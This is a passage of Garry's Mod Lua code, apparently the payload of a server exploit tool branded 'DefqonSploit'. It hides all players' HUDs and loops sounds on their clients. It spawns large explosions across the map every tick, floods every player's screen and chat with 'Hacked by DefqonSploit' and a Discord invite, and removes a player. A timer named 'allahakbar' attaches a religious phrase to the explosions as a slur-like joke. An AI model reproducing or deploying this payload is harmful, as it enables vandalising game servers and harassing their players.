533 sounds[#sounds +1] = pChan
534 end )
535 end
536
537 timer.Create( "asdf", 1, 0, function()
538 if #sounds ~= 4 then return end
539 timer.Destroy( "asdf" )
540 for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
541 end )
542
543 hook.Add( "HUDShouldDraw", "newhud", function() return false end )
544
545 ]] )
546
547 timer.Create( "allahakbar", 5, 0, function()
548 hook.Add("Think", "armageddon", function()
549 local explode = ents.Create( "env_explosion" )
550 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
551 explode:Spawn()
552 explode:SetKeyValue( "iMagnitude", "500" )
553 explode:Fire( "Explode", 0, 0 )
554 end)
555 end)
556
557 hook.Add("Think", "chatspam", function() for k,v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, "Hacked by DefqonSploit|discord.gg/3ArZzmW" ) v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "Hacked by DefqonSploit|discord.gg/3ArZzmW" )]]) end end)
558
559 pPlayer:Remove()
560
561end )
562end )